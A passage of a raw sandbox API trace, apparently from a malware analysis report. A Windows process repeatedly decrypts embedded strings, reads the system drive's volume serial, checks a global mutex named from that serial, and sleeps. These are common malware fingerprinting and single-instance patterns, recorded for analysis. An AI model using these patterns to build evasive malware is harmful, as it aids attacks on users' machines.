lpDst=0xab14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0038.281] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14f0 | out: hHeap=0xab0000) returned 1 [0038.282] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0038.282] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0038.282] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14c8 | out: hHeap=0xab0000) returned 1 [0038.282] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab14a0 [0038.282] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4cbfe8) returned 1 [0038.282] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0038.282] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0xa1f948 | out: pbData=0xab14a0, pdwDataLen=0xa1f948) returned 1 [0038.282] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0038.282] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab14e8 [0038.282] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x98 [0038.283] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0x0) returned 0x102 [0038.283] CloseHandle (hObject=0x98) returned 1 [0038.283] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0038.284] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14e8 | out: hHeap=0xab0000) returned 1 [0038.284] Sleep (dwMilliseconds=0x3e8) [0039.456] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab14a0 [0039.457] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4cbfe8) returned 1 [0039.457] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0039.457] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0xa1f914 | out: pbData=0xab14a0, pdwDataLen=0xa1f914) returned 1 [0039.457] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0039.457] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab14c8 [0039.457] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab14f0 [0039.457] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab1518 [0039.457] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4cbfe8) returned 1 [0039.457] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0039.457] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1518, pdwDataLen=0xa1f8ec | out: pbData=0xab1518, pdwDataLen=0xa1f8ec) returned 1 [0039.457] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0039.458] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1518 | out: hHeap=0xab0000) returned 1 [0039.458] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0039.458] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14f0 | out: hHeap=0xab0000) returned 1 [0039.458] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0039.458] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0039.458] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14c8 | out: hHeap=0xab0000) returned 1 [0039.458] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab14a0 [0039.458] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4cbfe8) returned 1 [0039.458] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0039.458] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0xa1f948 | out: pbData=0xab14a0, pdwDataLen=0xa1f948) returned 1 [0039.459] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0039.459] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab14e8 [0039.459] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x98 [0039.459] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0x0) returned 0x102 [0039.459] CloseHandle (hObject=0x98) returned 1 [0039.459] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0039.460] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14e8 | out: hHeap=0xab0000) returned 1 [0039.460] Sleep (dwMilliseconds=0x3e8) [0040.513] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab14a0 [0040.513] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4cbfe8) returned 1 [0040.513] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0040.513] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0xa1f914 | out: pbData=0xab14a0, pdwDataLen=0xa1f914) returned 1 [0040.514] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0040.514] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab14c8 [0040.514] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab14f0 [0040.514] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab1518 [0040.514] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4cbfe8) returned 1 [0040.514] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0040.514] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1518, pdwDataLen=0xa1f8ec | out: pbData=0xab1518, pdwDataLen=0xa1f8ec) returned 1 [0040.514] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0040.515] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1518 | out: hHeap=0xab0000) returned 1 [0040.515] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0040.515] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14f0 | out: hHeap=0xab0000) returned 1 [0040.515] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0040.515] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0040.515] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14c8 | out: hHeap=0xab0000) returned 1 [0040.515] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab14a0 [0040.515] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4cbfe8) returned 1 [0040.515] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0040.515] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab14a0, pdwDataLen=0xa1f948 | out: pbData=0xab14a0, pdwDataLen=0xa1f948) returned 1 [0040.515] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0040.515] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab14e8 [0040.515] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x98 [0040.516] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0x0) returned 0x102 [0040.516] CloseHandle (hObject=0x98) returned 1 [0040.516] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14a0 | out: hHeap=0xab0000) returned 1 [0040.516] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab14e8 | out: hHeap=0xab0000) returned 1 [0040.516] Sleep (dwMilliseconds=0x3e8) [0041.603] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab1508 [0041.603] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4cbfe8) returned 1 [0041.603] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0041.603] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0xa1f914 | out: pbData=0xab1508, pdwDataLen=0xa1f914) returned 1 [0041.603] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.603] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab1530 [0041.603] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab1748 [0041.603] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab4fa0 [0041.603] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4cbfe8) returned 1 [0041.603] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0041.604] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab4fa0, pdwDataLen=0xa1f8ec | out: pbData=0xab4fa0, pdwDataLen=0xa1f8ec) returned 1 [0041.604] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.604] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab4fa0 | out: hHeap=0xab0000) returned 1 [0041.604] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab1530, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0041.605] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1748 | out: hHeap=0xab0000) returned 1 [0041.605] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0041.605] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0041.606] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1530 | out: hHeap=0xab0000) returned 1 [0041.606] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab1508 [0041.606] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4cbfe8) returned 1 [0041.606] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0041.606] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0xa1f948 | out: pbData=0xab1508, pdwDataLen=0xa1f948) returned 1 [0041.606] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0041.606] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab1748 [0041.606] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x11c [0041.606] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0x0) returned 0x102 [0041.606] CloseHandle (hObject=0x11c) returned 1 [0041.607] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0041.607] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1748 | out: hHeap=0xab0000) returned 1 [0041.607] Sleep (dwMilliseconds=0x3e8) [0043.763] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab1508 [0043.763] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4cbfe8) returned 1 [0043.763] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0043.763] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0xa1f914 | out: pbData=0xab1508, pdwDataLen=0xa1f914) returned 1 [0043.763] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0043.763] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab1530 [0043.763] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab1748 [0043.763] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab4fa0 [0043.763] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4cbfe8) returned 1 [0043.764] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0043.764] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab4fa0, pdwDataLen=0xa1f8ec | out: pbData=0xab4fa0, pdwDataLen=0xa1f8ec) returned 1 [0043.764] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0043.765] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab4fa0 | out: hHeap=0xab0000) returned 1 [0043.765] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab1530, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0043.765] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1748 | out: hHeap=0xab0000) returned 1 [0043.765] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0043.765] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0043.766] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1530 | out: hHeap=0xab0000) returned 1 [0043.766] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab1508 [0043.766] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4cbfe8) returned 1 [0043.766] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0043.766] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0xa1f948 | out: pbData=0xab1508, pdwDataLen=0xa1f948) returned 1 [0043.767] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0043.767] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab1748 [0043.767] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x11c [0043.767] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0x0) returned 0x102 [0043.767] CloseHandle (hObject=0x11c) returned 1 [0043.768] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0043.768] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1748 | out: hHeap=0xab0000) returned 1 [0043.769] Sleep (dwMilliseconds=0x3e8) [0045.394] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab1508 [0045.394] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4cbfe8) returned 1 [0045.394] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0045.394] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0xa1f914 | out: pbData=0xab1508, pdwDataLen=0xa1f914) returned 1 [0045.394] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0045.394] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab1530 [0045.394] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab1748 [0045.394] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab4fa0 [0045.394] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4cbfe8) returned 1 [0045.394] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0045.394] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab4fa0, pdwDataLen=0xa1f8ec | out: pbData=0xab4fa0, pdwDataLen=0xa1f8ec) returned 1 [0045.394] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0045.395] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab4fa0 | out: hHeap=0xab0000) returned 1 [0045.400] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab1530, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0045.400] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1748 | out: hHeap=0xab0000) returned 1 [0045.401] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0045.401] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0045.401] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1530 | out: hHeap=0xab0000) returned 1 [0045.401] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab1508 [0045.401] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4cbfe8) returned 1 [0045.401] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0045.401] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0xa1f948 | out: pbData=0xab1508, pdwDataLen=0xa1f948) returned 1 [0045.401] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0045.401] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab1748 [0045.401] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x11c [0045.401] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0x0) returned 0x102 [0045.401] CloseHandle (hObject=0x11c) returned 1 [0045.402] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0045.402] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1748 | out: hHeap=0xab0000) returned 1 [0045.403] Sleep (dwMilliseconds=0x3e8) [0046.785] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab1508 [0046.785] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4cbfe8) returned 1 [0046.785] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0046.785] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0xa1f914 | out: pbData=0xab1508, pdwDataLen=0xa1f914) returned 1 [0046.785] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0046.785] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab1530 [0046.785] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab1748 [0046.785] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab4fa0 [0046.786] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4cbfe8) returned 1 [0046.786] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0046.786] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab4fa0, pdwDataLen=0xa1f8ec | out: pbData=0xab4fa0, pdwDataLen=0xa1f8ec) returned 1 [0046.786] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0046.787] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab4fa0 | out: hHeap=0xab0000) returned 1 [0046.787] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab1530, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.787] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1748 | out: hHeap=0xab0000) returned 1 [0046.787] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0046.787] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.788] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1530 | out: hHeap=0xab0000) returned 1 [0046.788] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab1508 [0046.788] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4cbfe8) returned 1 [0046.788] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0046.788] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0xa1f948 | out: pbData=0xab1508, pdwDataLen=0xa1f948) returned 1 [0046.789] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0046.789] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab1748 [0046.789] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x11c [0046.789] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0x0) returned 0x102 [0046.789] CloseHandle (hObject=0x11c) returned 1 [0046.790] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1508 | out: hHeap=0xab0000) returned 1 [0046.790] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab1748 | out: hHeap=0xab0000) returned 1 [0046.790] Sleep (dwMilliseconds=0x3e8) [0048.843] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab1508 [0048.843] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4cbfe8) returned 1 [0048.843] CryptSetKeyParam (hKey=0x4cbfe8, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0048.843] CryptDecrypt (in: hKey=0x4cbfe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab1508, pdwDataLen=0xa1f914 | out: pbData=0xab1508, pdwDataLen=0xa1f914) returned 1 [0048.843] CryptDestroyKey (hKey=0x4cbfe8) returned 1 [0048.843] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab1530 [0048.843] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab1748 [0048.843] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xab4fa0 [0048.843] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: 